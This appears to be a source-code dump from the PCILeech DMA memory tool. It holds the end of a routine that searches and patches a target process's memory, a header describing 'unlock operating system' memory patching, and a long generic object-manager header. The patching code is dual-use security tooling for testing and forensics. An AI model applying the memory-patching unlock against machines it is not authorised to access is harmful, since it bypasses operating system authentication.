signature.\\n\", ctxi.szAction);\n            }\n        }\n    }\n\n    // initialize ctxs (search context)\n    ctxs.dwVersion = VMMDLL_MEM_SEARCH_VERSION;\n    ctxs.cSearch = ctxi.cSignatures;\n    ctxs.vaMin = ctxMain->cfg.vaAddrMin;\n    ctxs.vaMax = ctxMain->cfg.vaAddrMax;\n    ctxs.pSearch = LocalAlloc(LMEM_ZEROINIT, ctxs.cSearch * sizeof(VMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY));\n    if(!ctxs.pSearch) { goto cleanup; }\n    for(i = 0; i < ctxi.cSignatures; i++) {\n        ctxs.pSearch[i].cb = min(ctxi.pSignatures[i].chunk[0].cb, sizeof(ctxs.pSearch[i].pb));\n        memcpy(ctxs.pSearch[i].pb, ctxi.pSignatures[i].chunk[0].pb, ctxs.pSearch[i].cb);\n    }\n    ctxs.pvUserPtrOpt = &ctxi;\n    ctxs.pfnResultOptCB = ActionPatchAndSearchVirtual_ResultCB;\n    \n    // perform search\n    StatSearchInitialize(&pStat, &ctxs, ctxi.szAction);\n    VMMDLL_MemSearch(ctxMain->hVMM, ctxi.dwPID, &ctxs, NULL, NULL);\n    StatSearchClose(&pStat);\ncleanup:\n    if(ctxi.cPatchList) {\n        printf(\"%s: Successful. Locations:\\n\", ctxi.szAction);\n        for(i = 0; i < ctxi.cPatchList; i++) {\n            printf(\" 0x%llx\\n\", ctxi.qwPatchList[i]);\n        }\n    } else {\n        printf(\"%s: Failed. No signature found.\\n\", ctxi.szAction);\n    }\n    LocalFree(ctxi.pSignatures);\n    LocalFree(ctxs.pSearch);\n}"
  },
  {
    "path": "pcileech/mempatch.h",
    "content": "// mempatch.h : definitions related to memory patch / operating system unlock functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __MEMPATCH_H__\n#define __MEMPATCH_H__\n#include \"pcileech.h\"\n\n/*\n* Patch the memory of the target system. Alternatively search the memory of the\n* target system. This includes the unlock operating system functionality.\n*/\nVOID ActionPatchAndSearchPhysical();\n\n/*\n* Patch the virtual memory of a target system process (Windows only).\n* Alternatively search the memory of the target system process.\n* This includes the unlock operating system functionality.\n*/\nVOID ActionPatchAndSearchVirtual();\n\n#endif /* __MEMPATCH_H__ */\n"
  },
  {
    "path": "pcileech/ob/ob.h",
    "content": "// ob.h : definitions related to the object manager and object manager collections.\n//\n// (c) Ulf Frisk, 2018-2025\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __OB_H__\n#define __OB_H__\n\n#ifdef _WIN32\n#include <Windows.h>\ntypedef unsigned __int64                QWORD, *PQWORD;\n#else\n#include \"../oscompatibility.h\"\n#endif /* _WIN32 */\n\n// OB_DEBUG is not working (as currently coded) with arm32 due to alignment issues.\n#if _WIN32 || _WIN64 || __i386__ || __amd64__ || __aarch64__\n#define OB_DEBUG\n//#define OB_DEBUG_MEMZERO\n#endif /* _WIN32 || _WIN64 || __i386__ || __amd64__ || __aarch64__ */\n#define OB_HEADER_MAGIC                 0x0c0efefe\ntypedef struct tdVMM_HANDLE             *VMM_HANDLE;\n\n#define OB_TAG_CORE_CONTAINER           'ObCo'\n#define OB_TAG_CORE_COMPRESSED          'ObCp'\n#define OB_TAG_CORE_COUNTER             'ObCn'\n#define OB_TAG_CORE_DATA                'ObDa'\n#define OB_TAG_CORE_SET                 'ObSe'\n#define OB_TAG_CORE_MAP                 'ObMa'\n#define OB_TAG_CORE_MEMFILE             'ObMF'\n#define OB_TAG_CORE_CACHEMAP            'ObMc'\n#define OB_TAG_CORE_STRMAP              'ObMs'\n#define OB_TAG_CORE_BYTEQUEUE           'ObBq'\n\n// ----------------------------------------------------------------------------\n// OBJECT MANAGER CORE FUNCTIONALITY BELOW:\n//\n// The object manager is a minimal non-threaded way of allocating objects with\n// reference counts. When reference count reach zero the object is deallocated\n// automatically.\n//\n// All Ob functions are thread-safe and performs only minimum locking.\n//\n// A thread calls Ob_Alloc to allocate an object of a specific length. The\n// object initially have reference count 1. Reference counts may be increased\n// by calling Ob_INCREF and decreased by calling Ob_DECREF. If the refcount\n// reach one or zero in a call to Ob_DECREF optional callbacks may be made\n// (specified at Ob_Alloc time). Callbacks may be useful for cleanup tasks\n// - such as decreasing reference count of sub-objects contained in the object\n// that is to be deallocated.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB {\n    // internal object manager functionality below: (= do not use unless absolutely necessary)\n    DWORD _magic1;                          // magic value - OB_HEADER_MAGIC\n    union {\n        DWORD _tag;                         // tag - 4 chars, no null terminator\n        CHAR _tagCh[4];\n    };\n    union {\n        VOID(*_pfnRef_0)(_In_ PVOID pOb);   // callback - object specific cleanup before free\n        QWORD _Filler1;\n    };\n    union {\n        VOID(*_pfnRef_1)(_In_ PVOID pOb);   // callback - when object reach refcount 1 (not initial)\n        QWORD _Filler2;\n    };\n    DWORD _Filler3[5];\n    DWORD _count;                           // reference count\n    // external object manager functionality below: (= ok to use)\n    union { VMM_HANDLE H; QWORD _Filler4; };// vmm user handle (supplied at alloc)\n    DWORD cbData;                           // data byte count (excl. OB header)\n    DWORD _magic2;                          // magic value - OB_HEADER_MAGIC\n} OB, *POB;\n\ntypedef VOID(*OB_CLEANUP_CB)(_In_ PVOID pOb);\n\n/*\n* Allocate a new object manager memory object.\n* -- H = an optional handle to embed as OB.H in the header.\n* -- tag = tag identifying the type of object.\n* -- uFlags = flags as given by LocalAlloc.\n* -- uBytes = bytes of object (_including_ object headers).\n* -- pfnRef_0 = optional callback for cleanup o be called before object is destroyed.\n*               (if object contains objects which references should be decremented\n                 before destruction of this 'parent' object).\n* -- pfnRef_1 = optional callback for when object reach refcount = 1 at DECREF.\n* -- return = allocated object on success, with refcount = 1, - NULL on fail.\n*/\nPVOID Ob_AllocEx(_In_opt_ VMM_HANDLE H, _In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1);\n\n/*\n* Allocate a new object manager memory object.\n* -- tag = tag identifying the type of object.\n* -- uFlags = flags as given by LocalAlloc.\n* -- uBytes = bytes of object (_including_ object headers).\n* -- pfnRef_0 = optional callback for cleanup o be called before object is destroyed.\n*               (if object contains objects which references should be decremented\n                 before destruction of this 'parent' object).\n* -- pfnRef_1 = optional callback for when object reach refcount = 1 at DECREF.\n* -- return = allocated object on success, with refcount = 1, - NULL on fail.\n*/\n__forceinline PVOID Ob_Alloc(_In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1)\n{\n    return Ob_AllocEx(NULL, tag, uFlags, uBytes, pfnRef_0, pfnRef_1);\n}\n\n/*\n* Increase the reference count of a object by one.\n* -- pOb\n* -- return\n*/\nPVOID Ob_XINCREF(_In_opt_ PVOID pOb);\n#define Ob_INCREF(pOb)          (Ob_XINCREF((PVOID)pOb))\n\n/*\n* Decrease the reference count of an object manager object by one.\n* NB! Do not use object after DECREF - other threads might have also DECREF'ed\n* the object at same time making it to be free'd - making the memory invalid.\n* -- pOb\n* -- return = pObIn if pObIn is valid and refcount > 0 after decref.\n*/\nPVOID Ob_XDECREF(_In_opt_ PVOID pOb);\n#define Ob_DECREF(pOb)          (Ob_XDECREF((PVOID)pOb))\n\n/*\n* Decrease the reference count of a object manager object.\n* If the reference count reaches zero the object will be cleaned up.\n* Also set the incoming pointer to NULL.\n* -- ppOb\n*/\nVOID Ob_XDECREF_NULL(_In_opt_ PVOID *ppOb);\n#define Ob_DECREF_NULL(pOb)     (Ob_XDECREF_NULL((PVOID*)pOb))\n\n/*\n* Checks if pObIn is a valid object manager object with the specified tag.\n* -- pObIn\n* -- tag\n* -- return\n*/\nBOOL Ob_VALID_TAG(_In_ PVOID pObIn, _In_ DWORD tag);\n\n\n\n// ----------------------------------------------------------------------------\n// OBJECT MANAGER COMMON/GENERIC OBJECTS BELOW:\n//\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_DATA {\n    OB ObHdr;\n    union {\n        BYTE pb[0];\n        CHAR sz[0];\n        DWORD pdw[0];\n        QWORD pqw[0];\n    };\n} OB_DATA, *POB_DATA;\n\n/*\n* Create a new object manager data object in which the ObHdr->cbData is equal\n* to the number of bytes in the data buffer supplied to this function.\n* May also be created with Ob_Alloc with size: sizeof(OB_HDR) + length of data.\n* CALLER DECREF: return\n* -- H\n* -- pb\n* -- cb\n* -- return\n*/\n_Success_(return != NULL)\nPOB_DATA ObData_New(_In_opt_ VMM_HANDLE H, _In_ PBYTE pb, _In_ DWORD cb);\n\n\n\n// ----------------------------------------------------------------------------\n// OBJECT CONTAINER FUNCTIONALITY BELOW:\n//\n// A container provides atomic access to a single Ob object. This is useful\n// if a Ob object is to frequently be replaced by a new object in an atomic\n// way. An example of this is the process list object containing the process\n// information. The container holds a reference count to the object that is\n// contained. The object container itself is an object manager object and\n// must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_CONTAINER {\n    OB ObHdr;\n    SRWLOCK LockSRW;\n    POB pOb;\n} OB_CONTAINER, *POB_CONTAINER;\n\n/*\n* Create a new object container object without an initial contained object.\n* An object container provides atomic access to its contained object in a\n* multithreaded environment. The object container is in itself an object\n* manager object and must be DECREF'ed by the caller when use is complete.\n* CALLER DECREF: return\n* -- return\n*/\nPOB_CONTAINER ObContainer_New();\n\n/*\n* Retrieve an enclosed object from the given pObContainer.\n* CALLER DECREF: return\n* -- pObContainer\n* -- return\n*/\nPVOID ObContainer_GetOb(_In_ POB_CONTAINER pObContainer);\n\n/*\n* Set or Replace an object in the object container.\n* -- pObContainer\n* -- pOb\n*/\nVOID ObContainer_SetOb(_In_ POB_CONTAINER pObContainer, _In_opt_ PVOID pOb);\n\n/*\n* Check if the object container is valid and contains an object.\n* -- pObContainer\n* -- return\n*/\nBOOL ObContainer_Exists(_In_opt_ POB_CONTAINER pObContainer);\n\n\n\n// ----------------------------------------------------------------------------\n// HASHED VALUE SET FUNCTIONALITY BELOW:\n//\n// The hashed value set (ObSet) provides thread safe efficient access to a set\n// which is containing _NON_ZERO_ values (64-bit unsigned integers). The ObSet\n// may hold a maximum capacity of 0x01000000 (~16M) entries - which are UNIQUE\n// and _NON_ZERO_.\n// The hashed value set (ObSet) guarantees order amongst values unless the\n// function ObSet_Remove is called - in which order may change and on-going\n// iterations of the set with ObSet_Get/ObSet_GetNext may fail.\n// The ObSet is an object manager object and must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_SET *POB_SET;\n\n/*\n* Create a new hashed value set. A hashed value set (ObSet) provides atomic\n* ways to store unique 64-bit (or smaller) numbers as a set.\n* The ObSet is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- return\n*/\nPOB_SET ObSet_New(_In_opt_ VMM_HANDLE H);\n\n/*\n* Retrieve the number of items in the given ObSet.\n* -- pvs\n* -- return\n*/\nDWORD ObSet_Size(_In_opt_ POB_SET pvs);\n\n/*\n* Check if a value already exists in the ObSet.\n* -- pvs\n* -- value\n* -- return\n*/\nBOOL ObSet_Exists(_In_opt_ POB_SET pvs, _In_ QWORD value);\n\n/*\n* Push / Insert a non-zero value into the ObSet.\n* -- pvs\n* -- value\n* -- return = TRUE on insertion, FALSE otherwise - i.e. if value already\n*             exists or if the max capacity of the set is reached.\n*/\n_Success_(return)\nBOOL ObSet_Push(_In_opt_ POB_SET pvs, _In_ QWORD value);\n\n/*\n* Push/Merge/Insert all values from the ObSet pvsSrc into the ObSet pvs.\n* The source set is kept intact.\n* -- pvs\n* -- pvsSrc\n* -- return = TRUE on success, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObSet_PushSet(_In_opt_ POB_SET pvs, _In_opt_ POB_SET pvsSrc);\n\n/*\n* Push/Merge/Insert all QWORD values from the ObData pDataSrc into the ObSet pvs.\n* The source data is kept intact.\n* -- pvs\n* -- pDataSrc\n* -- return = TRUE on success, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObSet_PushData(_In_opt_ POB_SET pvs, _In_opt_ POB_DATA pDataSrc);\n\n/*\n* Insert a value representing an address into the ObSet. If the length of the\n* data read from the start of the address a traverses page boundries all the\n* pages are inserted into the set.\n* -- pvs\n* -- a\n* -- cb\n*/\nVOID ObSet_Push_PageAlign(_In_opt_ POB_SET pvs, _In_ QWORD a, _In_ DWORD cb);\n\n/*\n* Remove an existing value from the ObSet.\n* NB! must not be called simultaneously while iterating with ObSet_Get/ObSet_GetNext.\n* -- pvs\n* -- value\n* -- return = removal was successful (i.e. the value was found and removed).\n*/\nBOOL ObSet_Remove(_In_opt_ POB_SET pvs, _In_ QWORD value);\n\n/*\n* Clear the ObSet by removing all values.\n* NB! underlying allocated memory will remain unchanged.\n* -- pvs\n*/\nVOID ObSet_Clear(_In_opt_ POB_SET pvs);\n\n/*\n* Remove the \"last\" value in a way that is safe for concurrent iterations of\n* values in the set.\n* -- pvs\n* -- return = success: value, fail: 0.\n*/\nQWORD ObSet_Pop(_In_opt_ POB_SET pvs);\n\n/*\n* Retrieve the next value given a value. The start value and end value are the\n* ZERO value (which is a special reserved non-valid value).\n* NB! Correctness of the Get/GetNext functionality is _NOT_ guaranteed if the\n* ObSet_Remove function is called while iterating over the ObSet - items may\n* be skipped or iterated over multiple times!\n* -- pvs\n* -- value\n* -- return\n*/\nQWORD ObSet_GetNext(_In_opt_ POB_SET pvs, _In_ QWORD value);\n\n/*\n* Retrieve the given an index. To start iterating, use index 0. When no more\n* items are available, the function will return 0.\n* Add/Remove rules:\n*  - Added values are ok - but will not be iterated over.\n*  - Removal of current value and already iterated values are ok.\n*  - Removal of values not yet iterated is FORBIDDEN. It causes the iterator\n*    fail by returning the same value multiple times or skipping values.\n* -- pvs\n* -- pdwIndex\n* -- return\n*/\nQWORD ObSet_GetNextByIndex(_In_opt_ POB_SET pvs, _Inout_ PDWORD pdwIndex);\n\n/*\n* Retrieve a value given a value index (which is less than the amount of items\n* in the Set).\n* NB! Correctness of the Get/GetNext functionality is _NOT- guaranteed if the\n* ObSet_Remove function is called while iterating over the ObSet - items may\n* be skipped or iterated over multiple times!\n* -- pvs\n* -- index\n* -- return\n*/\nQWORD ObSet_Get(_In_opt_ POB_SET pvs, _In_ DWORD index);\n\n/*\n* Retrieve all values in the Set as a POB_DATA object containing the values\n* in a QWORD table.\n* -- CALLER DECREF: return\n* -- pvs\n* -- return\n*/\nPOB_DATA ObSet_GetAll(_In_opt_ POB_SET pvs);\n\n\n\n// ----------------------------------------------------------------------------\n// MAP FUNCTIONALITY BELOW:\n//\n// The map is a key-value map that may, as an option, contain object manager\n// objects in its value field. They key may be user-defined, generated by a\n// function or absent. The ObMap may hold a maximum capacity of 0x02000000\n// (~32M) entries which are UNIQUE and non-NULL.\n//\n// The map (ObMap) is thread safe and implement efficient access to the data\n// via internal hashing functionality.\n// The map (ObMap) guarantees order amongst values unless the ObMap_Remove*\n// functions are called - in which order may change and on-going iterations\n// of the set with ObMap_Get/ObMap_GetNext may fail.\n// The ObMap is an object manager object and must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_MAP *POB_MAP;\n\n#define OB_MAP_FLAGS_OBJECT_VOID        0x00\n#define OB_MAP_FLAGS_OBJECT_OB          0x01\n#define OB_MAP_FLAGS_OBJECT_LOCALFREE   0x02\n#define OB_MAP_FLAGS_NOKEY              0x04\n\ntypedef struct tdOB_MAP_ENTRY {\n    QWORD k;\n    union { PVOID v; QWORD _Filler; };\n} OB_MAP_ENTRY, *POB_MAP_ENTRY, **PPOB_MAP_ENTRY;\n\n/*\n* Create a new map. A map (ObMap) provides atomic map operations and ways\n* to optionally map key values to values, pointers or object manager objects.\n* The ObMap is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- flags = defined by OB_MAP_FLAGS_*\n* -- return\n*/\nPOB_MAP ObMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags);\n\n/*\n* Retrieve the number of objects in the ObMap.\n* -- pm\n* -- return\n*/\nDWORD ObMap_Size(_In_opt_ POB_MAP pm);\n\n/*\n* Check if an object exists in the ObMap.\n* -- pm\n* -- qwKey/pvObject\n* -- return\n*/\nBOOL ObMap_Exists(_In_opt_ POB_MAP pm, _In_ PVOID pvObject);\n\n/*\n* Check if a key exists in the ObMap.\n* -- pm\n* -- qwKey/pvObject\n* -- return\n*/\nBOOL ObMap_ExistsKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey);\n\n/*\n* Push / Insert into the ObMap.\n* If pvObject is OB the map performs Ob_INCREF on its own reference.\n* -- pm\n* -- qwKey\n* -- pvObject\n* -- return = TRUE on insertion, FALSE otherwise - i.e. if the key or object\n*             already exists or if the max capacity of the map is reached.\n*/\n_Success_(return)\nBOOL ObMap_Push(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject);\n\n/*\n* Push / Insert into the ObMap by making a shallow copy of the object.\n* NB! only valid for OB_MAP_FLAGS_OBJECT_LOCALFREE initialized maps.\n* -- pm\n* -- qwKey\n* -- pvObject\n* -- cbObject\n* -- return = TRUE on insertion, FALSE otherwise - i.e. if the key or object\n*             already exists or if the max capacity of the map is reached.\n*/\n_Success_(return)\nBOOL ObMap_PushCopy(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject, _In_ SIZE_T cbObject);\n\n/*\n* Push / Insert all objects in pmSrc to pmDst using the same key and value.\n* NB! only valid for OB_MAP_FLAGS_OBJECT_OB and OB_MAP_FLAGS_OBJECT_VOID maps.\n* -- pmDst\n* -- pmSrc\n* -- return = TRUE on success, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObMap_PushAll(_In_opt_ POB_MAP pmDst, _In_ POB_MAP pmSrc);\n\n/*\n* Remove the \"last\" object.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- return = success: object, fail: NULL.\n*/\n_Success_(return != NULL)\nPVOID ObMap_Pop(_In_opt_ POB_MAP pm);\n\n/*\n* Remove the \"last\" object and return it and its key.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- pKey\n* -- return = success: object, fail: NULL.\n*/\n_Success_(return != NULL)\nPVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_opt_ PQWORD pKey);\n\n/*\n* Remove an object from the ObMap.\n* NB! must not be called simultaneously while iterating with ObMap_GetByIndex/ObMap_GetNext.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- value\n* -- return = success: object, fail: NULL.\n*/\nPVOID ObMap_Remove(_In_opt_ POB_MAP pm, _In_ PVOID pvObject);\n\n/*\n* Remove an object from the ObMap by using its key.\n* NB! must not be called simultaneously while iterating with ObMap_GetByIndex/ObMap_GetNext.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- qwKey\n* -- return = success: object, fail: NULL.\n*/\nPVOID ObMap_RemoveByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey);\n\n/*\n* Clear the ObMap by removing all objects and their keys.\n* NB! underlying allocated memory will remain unchanged.\n* -- pm\n* -- return = clear was successful - always true.\n*/\n_Success_(return)\nBOOL ObMap_Clear(_In_opt_ POB_MAP pm);\n\n/*\n* Peek the \"last\" object.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- return = success: object, fail: NULL.\n*/\nPVOID ObMap_Peek(_In_opt_ POB_MAP pm);\n\n/*\n* Peek the key of the \"last\" object.\n* -- pm\n* -- return = the key, otherwise 0.\n*/\nQWORD ObMap_PeekKey(_In_opt_ POB_MAP pm);\n\n/*\n* Retrieve the next object given an object. Start and end objects are NULL.\n* NB! Correctness of the Get/GetNext functionality is _NOT_ guaranteed if the\n* ObMap_Remove* functions are called while iterating over the ObMap - items may\n* be skipped or iterated over multiple times!\n* FUNCTION DECREF(if OB): pvObject\n* CALLER DECREF(if OB): return\n* -- pm\n* -- pvObject\n* -- return\n*/\nPVOID ObMap_GetNext(_In_opt_ POB_MAP pm, _In_opt_ PVOID pvObject);\n\n/*\n* Retrieve the next object given a key. To start iterating supply NULL in the\n* pvObject parameter (this overrides qwKey). When no more objects are found\n* NULL will be returned. This function may ideally be used when object maps\n* may be refreshed between function calls. Key may be more stable than object.\n* NB! Correctness of the Get/GetNext functionality is _NOT_ guaranteed if the\n* ObMap_Remove* functions are called while iterating over the ObMap - items may\n* be skipped or iterated over multiple times!\n* FUNCTION DECREF(if OB): pvObject\n* CALLER DECREF(if OB): return\n* -- pm\n* -- qwKey\n* -- pvObject\n* -- return\n*/\nPVOID ObMap_GetNextByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject);\n\n/*\n* Retrieve the next object given a key in a map sorted by key. If the key isn't\n* found the next object with a larger key will be returned. To start iterating\n* supply zero (0) in the qwKey parameter. When no more objects are found NULL\n* will be returned.\n* NB! Correctness is only guarateed if the map is sorted by key ascending.\n* FUNCTION DECREF(if OB): pvObject\n* CALLER DECREF(if OB): return\n* -- pm\n* -- qwKey\n* -- pvObject\n* -- return\n*/\nPVOID ObMap_GetNextByKeySorted(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject);\n\n/*\n* Iterate over objects in reversed index order. To start iterating supply NULL\n* in the pvObject parameter (this overrides pdwIndex). When no more objects\n* are found NULL will be returned.\n* Add/Remove rules:\n*  - Added objects are ok - but will not be iterated over.\n*  - Removal of current object and already iterated objects are ok.\n*  - Removal of objects not yet iterated is FORBIDDEN. It causes the iterator\n*    fail by returning the same object multiple times or skipping objects.\n* FUNCTION DECREF(if OB): pvObject\n* CALLER DECREF(if OB): return\n* -- pm\n* -- pdwIndex\n* -- pvObject\n* -- return\n*/\nPVOID ObMap_GetNextByIndex(_In_opt_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject);\n\n/*\n* Retrieve a value given a key.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- qwKey\n* -- return\n*/\nPVOID ObMap_GetByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey);\n\n/*\n* Retrieve an object given an index (which is less than the amount of items\n* in the ObMap).\n* NB! Correctness of the Get/GetNext functionality is _NOT- guaranteed if the\n* ObMap_Remove* functions are called while iterating over the ObSet - items\n* may be skipped or iterated over multiple times!\n* CALLER DECREF(if OB): return\n* -- pm\n* -- index\n* -- return\n*/\nPVOID ObMap_GetByIndex(_In_opt_ POB_MAP pm, _In_ DWORD index);\n\n/*\n* Retrieve the key for an existing object in the ObMap.\n* -- pm\n* -- pvObject\n* -- return\n*/\n_Success_(return != 0)\nQWORD ObMap_GetKey(_In_opt_ POB_MAP pm, _In_ PVOID pvObject);\n\n/*\n* Callback function for ObMap_Filter which converts a ObMap to an arbitrary context.\n*/\ntypedef VOID(*OB_MAP_FILTER_PFN_CB)(_In_opt_ PVOID ctx, _In_ QWORD k, _In_ PVOID v);\n\n/*\n* Callback function for ObMap_FilterSet which converts an ObMap to an ObSet.\n*/\ntypedef VOID(*OB_MAP_FILTERSET_PFN_CB)(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v);\n\n/*\n* Callback function for ObMap_RemoveByFilter which removes objects from an ObMap.\n*/\ntypedef BOOL(*OB_MAP_FILTER_REMOVE_PFN_CB)(_In_opt_ PVOID ctx, _In_ QWORD k, _In_ PVOID v);\n\n/*\n* Common filter function related to ObMap_FilterSet.\n*/\nVOID ObMap_FilterSet_FilterAllKey(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v);\n\n/*\n* Filter map objects into a generic context by using a user-supplied filter function.\n* -- pm\n* -- ctx = optional context to pass on to the filter function.\n* -- pfnFilterCB = filter callback function. NULL = fail.\n* -- return\n*/\n_Success_(return)\nBOOL ObMap_Filter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_PFN_CB pfnFilterCB);\n\n/*\n* Filter map objects into a POB_SET by using a user-supplied filter function.\n* CALLER DECREF: return\n* -- pm\n* -- ctx = optional context to pass on to the filter function.\n* -- pfnFilterSetCB = filter callback function. NULL = fail.\n* -- return = POB_SET consisting of values gathered by the pfnFilter function.\n*/\n_Success_(return != NULL)\nPOB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB);\n\n/*\n* Remove map objects using a user-supplied filter function.\n* -- pm\n* -- ctx = optional context to pass on to the filter function.\n* -- pfnFilterRemoveCB = decision making function: [pfnFilter(ctx,k,v)->TRUE(remove)|FALSE(keep)]\n* -- return = number of entries removed.\n*/\nDWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB);\n\n/*\n* Sort compare callback function.\n*/\ntypedef int(*OB_MAP_SORT_COMPARE_FUNCTION)(_In_ POB_MAP_ENTRY e1, _In_ POB_MAP_ENTRY e2);\n\n/*\n* Sort the ObMap entry index by a sort compare function.\n* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects\n*     which points to the underlying map object key/value.\n* -- pm\n* -- pfnSort = sort function callback. const void* == const OB_MAP_ENTRY*\n* -- return\n*/\n_Success_(return)\nBOOL ObMap_SortEntryIndex(_In_opt_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort);\n\n/*\n* Sort the ObMap entry index by key ascending.\n* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects\n*     which points to the underlying map object key/value.\n* -- pm\n* -- return\n*/\n_Success_(return)\nBOOL ObMap_SortEntryIndexByKey(_In_opt_ POB_MAP pm);\n\n\n\n// ----------------------------------------------------------------------------\n// CACHE MAP FUNCTIONALITY BELOW:\n//\n// The map (ObCacheMap) implements an efficient caching of objects stored in\n// an internal hash map. The cached object are retrieved and cleared according\n// to rules implemented by callback functions.\n//\n// If the max number of map entries are reached the least recently accessed\n// entry will be removed if required to make room for a new entry.\n//\n// The map (ObCacheMap) is thread safe.\n// The ObCacheMap is an object manager object and must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_CACHEMAP *POB_CACHEMAP;\n\n#define OB_CACHEMAP_FLAGS_OBJECT_VOID        0x00\n#define OB_CACHEMAP_FLAGS_OBJECT_OB          0x01\n#define OB_CACHEMAP_FLAGS_OBJECT_LOCALFREE   0x02\n\n/*\n* Callback function for the pfnValidEntry in ObCacheMap_New()\n* -- H\n* -- qwContext\n* -- qwKey\n* -- pbObject\n*/\ntypedef BOOL(*OB_CACHEMAP_VALIDENTRY_PFN_CB)(\n    _In_opt_ VMM_HANDLE H,\n    _Inout_ PQWORD qwContext,\n    _In_ QWORD qwKey,\n    _In_ PVOID pvObject\n);\n\n/*\n* Create a new cached map. A cached map (ObCacheMap) provides atomic map\n* operations on cached objects.\n* The ObCacheMap is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- cMaxEntries = max entries in the cache, if more entries are added the\n*       least recently accessed item will be removed from the cache map.\n* -- pfnValidEntry = validation callback function (if any).\n* -- flags = defined by OB_CACHEMAP_FLAGS_*\n* -- return\n*/\nPOB_CACHEMAP ObCacheMap_New(\n    _In_opt_ VMM_HANDLE H,\n    _In_ DWORD cMaxEntries,\n    _In_opt_ OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry,\n    _In_ QWORD flags\n);\n\n/*\n* Clear the ObCacheMap by removing all objects and their keys.\n* -- pcm\n* -- return = clear was successful - always true.\n*/\n_Success_(return)\nBOOL ObCacheMap_Clear(_In_opt_ POB_CACHEMAP pcm);\n\n/*\n* Check if a key exists in the ObCacheMap.\n* -- pcm\n* -- qwKey/pvObject\n* -- return\n*/\nBOOL ObCacheMap_ExistsKey(_In_opt_ POB_CACHEMAP pcm, _In_ QWORD qwKey);\n\n/*\n* Push / Insert into the ObCacheMap. If an object with the same key already\n* exists it's removed from the cache map before the new object is inserted.\n* If pvObject is OB the map performs Ob_INCREF on its own reference.\n* -- pcm\n* -- qwKey\n* -- pvObject\n* -- qwContextInitial = initial context (passed on to pfnValidEntry callback).\n* -- return = TRUE on insertion, FALSE otherwise - i.e. if the key or object\n*             already exists or if the max capacity of the map is reached.\n*/\n_Success_(return)\nBOOL ObCacheMap_Push(_In_opt_ POB_CACHEMAP pcm, _In_ QWORD qwKey, _In_ PVOID pvObject, _In_ QWORD qwContextInitial);\n\n/*\n* Retrieve the number of objects in the ObCacheMap.\n* -- pcm\n* -- return\n*/\nDWORD ObCacheMap_Size(_In_opt_ POB_CACHEMAP pcm);\n\n/*\n* Retrieve a value given a key.\n* CALLER DECREF(if OB): return\n* -- pcm\n* -- qwKey\n* -- return\n*/\nPVOID ObCacheMap_GetByKey(_In_opt_ POB_CACHEMAP pcm, _In_ QWORD qwKey);\n\n/*\n* Remove an object from the ObCacheMap by using its key.\n* NB! Object is removed and returned even if valid critera is not matched.\n* CALLER DECREF(if OB): return\n* -- pcm\n* -- qwKey\n* -- return = success: object, fail: NULL.\n*/\nPVOID ObCacheMap_RemoveByKey(_In_opt_ POB_CACHEMAP pcm, _In_ QWORD qwKey);\n\n\n// ----------------------------------------------------------------------------\n// STRMAP FUNCTIONALITY BELOW:\n// \n// The strmap is created and populated with strings (utf-8, ascii and wide-char)\n// in an optimal way removing duplicates. Upon finalization the string map\n// results in a multi-string and an update of string references will happen.\n//\n// References to the strings will only be valid after a successful call to\n// FinalizeAlloc_DECREF_NULL() or FinalizeBuffer()\n//\n// The 